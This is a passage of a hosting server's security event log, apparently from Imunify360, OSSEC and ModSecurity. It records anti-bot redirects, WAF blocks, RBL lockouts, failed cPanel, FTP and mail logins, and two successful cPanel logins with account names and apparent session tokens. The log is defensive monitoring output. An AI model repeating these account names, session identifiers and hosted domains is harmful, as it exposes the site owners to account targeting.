158.173.66.40 - - [20/Jun/2026:23:44:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9593712&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781999070 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.70.53.60
country_id: 6252001
description:
54.70.53.60 - - [20/Jun/2026:23:44:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9816165&pdata=http%253A%252F%252Fautodiscover.sproca.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781999079 HTTP/1.1" 302 0 autodiscover.sproca.tg "http://autodiscover.sproca.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.70.53.60


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:23:44:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7301736&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781999067 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.71.187.124
country_id: 6252001
description:
54.71.187.124 - - [20/Jun/2026:23:46:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9726823&pdata=http%253A%252F%252Fcpanel.sproca.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781999173 HTTP/1.1" 302 0 cpanel.sproca.tg "http://cpanel.sproca.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.71.187.124


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 52.34.76.65
country_id: 6252001
description:
52.34.76.65 - - [20/Jun/2026:23:46:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7117976&pdata=http%253A%252F%252Fcpcalendars.sproca.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781999176 HTTP/1.1" 302 0 cpcalendars.sproca.tg "http://cpcalendars.sproca.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:52.34.76.65


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.71.187.124
country_id: 6252001
description:
54.71.187.124 - - [20/Jun/2026:23:47:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7443400&pdata=http%253A%252F%252Fcpcontacts.sproca.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781999221 HTTP/1.1" 302 0 cpcontacts.sproca.tg "http://cpcontacts.sproca.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.71.187.124


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:23:46:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9727383&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781999193 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.175
country_id: 732800
description:
Jun 20 23:46:57 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.175 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 52.34.76.65
country_id: 6252001
description:
52.34.76.65 - - [20/Jun/2026:23:47:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920297&pdata=http%253A%252F%252Fsproca.tg.154-70-82-246.cpanel.site&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781999221 HTTP/1.1" 302 0 sproca.tg.154-70-82-246.cpanel.site "http://sproca.tg.154-70-82-246.cpanel.site/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:52.34.76.65


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 59.152.97.137
country_id: 1210997
description:
59.152.97.137 - - [20/Jun/2026:23:49:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13199977&pdata=https%253A%252F%252Ftogodailynews.tg%252F%253Fp%253D5285&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781999362 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/?p=5285" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:59.152.97.137


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 110.232.85.94
country_id: 1643084
domain: cfpj.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cfpj.tg/site/wp-content/uploads/2019/02/Devenez-Magistrat.pdf HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 103.206.233.62
country_id: 2750405
domain: togodailynews.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/147.0.0.0 Safari/537.36||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 129.45.14.4
country_id: 2589581
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/01/WhatsApp-Image-2023-01-11-at-16.07.22-1.jpeg 1080w, http:/togodailynews.tg/wp-content/uploads/2023/01/WhatsApp-Image-2023-01-11-at-16.07.22-1-300x200.jpeg 300w, http:/togodailynews.tg/wp-content/uploads/2023/01/WhatsApp-Image-2023-01-11-at-16.07.22-1-768x512.jpeg 768w, http:/togodailynews.tg/wp-content/uploads/2023/01/WhatsApp-Image-2023-01-11-at-16.07.22-1-1024x683.jpeg 1024w, http:/togodailynews.tg/wp-content/uploads/2023/01/WhatsApp-Image-2023-01-11-at-16.07.22-1-272x182.jpeg 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:23:56:14 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:23:56:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.2.137
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/07/Victoire-Dogb\xc3\xa9.jpg 275w, http:/togodailynews.tg/wp-content/uploads/2021/07/Victoire-Dogb\xc3\xa9-272x182.jpg 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:23:59:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6582475&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781999995 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [21/Jun/2026:00:00:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065561&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781999998 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [21/Jun/2026:00:00:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10394312&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782000037 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 111.92.152.74
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/977115484 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.47.48.98
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/2106253800 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.138.16.178
country_id: 798544
description:
Jun 21 00:03:03 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.138.16.178 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 161.97.125.76
country_id: 3017382
description:
[2026-06-21 00:05:20 +0000] info [cpaneld] 161.97.125.76 - AWADI "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user AWADI (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 161.97.125.76
country_id: 3017382
description:
[2026-06-21 00:05:29 +0000] info [cpaneld] 161.97.125.76 - AWADI "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user AWADI (has_cpuser_file failed)


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 161.97.125.76
country_id: 3017382
description:
[2026-06-21 00:05:41 +0000] info [cpaneld] 161.97.125.76 - AWADI "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user AWADI (has_cpuser_file failed)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [21/Jun/2026:00:11:04 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [21/Jun/2026:00:11:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [21/Jun/2026:00:15:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12752786&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782000921 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [21/Jun/2026:00:15:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9790611&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782000907 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [21/Jun/2026:00:15:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6645606&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782000909 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.32.214.146
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/93a4af HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.52.188.100
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1289304617 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.225.171.214
country_id: 3469034
description:
45.225.171.214 - - [21/Jun/2026:00:18:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10197659&pdata=https%253A%252F%252Ftogodailynews.tg%252Fle-groupe-ecobank-enregistre-un-benefice-avant-depot-de-657-millions-usd-a-fin-septembre-2025%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782001131 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/le-groupe-ecobank-enregistre-un-benefice-avant-depot-de-657-millions-usd-a-fin-septembre-2025/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.4859.1908 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.225.171.214


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.0.33.91
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/726b68 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 131.0.14.41
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/8a6f5f HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 162.212.156.59
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-23.162.212.156.59||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.228.77.6
country_id: 3194884
description:
2026-06-21 00:23:42 dovecot_login authenticator failed for H=(45.58.136.104) [109.228.77.6]:48482: 535 Incorrect authentication data (set_id=master@pin.cafe.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 162.212.156.59
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:162.212.156.59||TA:162.212.156.59||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 41.248.3.170
country_id: 2542007
description:
Jun 21 00:25:14 ns5 pure-ftpd[1076830]: (?@41.248.3.170) [WARNING] Authentication failed for user [.SAPHYRTOUR]


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.223.133.97
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-24.91.223.133.97||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.252.64.174
country_id: 3469034
description:
Jun 21 00:24:57 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.252.64.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.124.19
country_id: 690791
description:
Jun 21 00:25:18 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.124.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.124.19
country_id: 690791
description:
Jun 21 00:25:31 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.124.19 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.205.114.29
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/536617961 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 41.248.3.170
country_id: 2542007
description:
Jun 21 00:26:39 ns5 pure-ftpd[1077874]: (?@41.248.3.170) [WARNING] Authentication failed for user [admin]


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 151.106.12.252
country_id: 3017382
description:
Jun 21 00:28:21 ns5 pure-ftpd[1079112]: (?@151.106.12.252) [INFO] New connection from 151.106.12.252


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 158.173.101.96
country_id: 2802361
description:
Jun 21 00:28:22 ns5 pure-ftpd[1079118]: (?@158.173.101.96) [INFO] New connection from 158.173.101.96


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 38.191.92.15
country_id: 3996063
domain: sp-eau.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:00-29.38.191.92.15||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [21/Jun/2026:00:30:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6841961&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782001829 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [21/Jun/2026:00:30:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7171689&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782001832 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.59.227.176
country_id: 3437598
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/09/WhatsApp-Image-2024-09-17-at-15.25.46-1024x473.jpeg 1024w, http:/togodailynews.tg/wp-content/uploads/2024/09/WhatsApp-Image-2024-09-17-at-15.25.46-300x139.jpeg 300w, http:/togodailynews.tg/wp-content/uploads/2024/09/WhatsApp-Image-2024-09-17-at-15.25.46-768x355.jpeg 768w, http:/togodailynews.tg/wp-content/uploads/2024/09/WhatsApp-Image-2024-09-17-at-15.25.46.jpeg 1280w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.173.217.232
country_id: 3895114
domain: simple.free.netmaster.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/simple.free.netmaster.tg/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.115.214.191
country_id: 3923057
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-lassociation-eja-se-remobilise-et-se-fixe-de-nouveaux-objectifs/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.67.224.58
country_id: 2287781
domain: touyin.net
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/touyin.net/index.php/news/aitw/beer/vtg\xef\xbf\xbd?page=15 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.196.143.252
country_id: 3469034
description:
Jun 21 00:34:53 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.196.143.252 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 161.97.125.76
country_id: 3017382
description:
[2026-06-21 00:37:08 +0000] info [cpaneld] 161.97.125.76 - wgqhqbem "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.201.229
country_id: 3469034
description:
Jun 21 00:38:53 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.201.229 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.161
country_id: 2635167
description:
[2026-06-21 00:39:47 +0000] info [cpaneld] 5.230.153.161 NEW wgqhqbem:SLCro0Ne7Iq5kDvy address=5.230.153.161,app=cpaneld,creator=wgqhqbem,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.127
country_id: 2635167
description:
[2026-06-21 00:42:12 +0000] info [cpaneld] 5.230.153.127 NEW formationfreenet:Jmo2ARsWdxCkD6qH address=5.230.153.127,app=cpaneld,creator=formationfreenet,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [21/Jun/2026:00:44:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6972778&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782002683 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.49.182
country_id: 1668284
description:
Jun 21 00:44:48 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.49.182 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [21/Jun/2026:00:44:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6525339&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782002687 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 6013
